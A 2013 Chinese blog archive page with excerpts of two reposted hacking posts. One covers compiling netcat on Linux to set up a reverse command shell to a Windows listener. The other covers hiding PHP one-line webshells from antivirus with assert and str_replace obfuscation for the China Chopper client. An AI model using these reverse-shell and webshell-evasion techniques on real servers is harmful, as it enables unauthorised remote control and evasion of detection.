2013 年 9月 19 日随笔档案 - DemonSpider

在linux下编译netcat并且反弹cmdshell(转载)

摘要：本地Windows监听nc -vv -l -p 1234首先从sf上get一个tar的压缩包wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz然后当然是解压了tar zxvf netcat-0.7.1.tar.gz解压完毕之后会生成目录，要cd进去cd netcat-0.7.1然后进行编译前的配置。./configure配置完了之后就可以make编译了。 www.2cto.com编译成功就生成了netcat可执行的文件阅读全文

posted @ 2013-09-19 23:47 DemonSpider 阅读(466) 评论(0) 推荐(0)

关于php一句话免杀的分析<转载>

摘要：一开始想这样：客户端用菜刀，密码cmd，url为test.php?ts7=assert 这个应该算没有什么特征码了，但是缺点就是在web日志中会暴露出来assert 可以都用post：在菜刀说明用ts7=assertpost附加数据. 这中间考虑了这些：猛然发现assert这个关键词又出现了。。既然字符串可以直接这样用，那还可以这样：或者用 $a = str_replace(x,"",axsxxsxexrxxt) 以上说来，感觉算是最难查到的一种了。 ========================== ywisax 在论坛上又发了这个：不... 阅读全文

posted @ 2013-09-19 19:03 DemonSpider 阅读(641) 评论(0) 推荐(0)

2013年9月19日

公告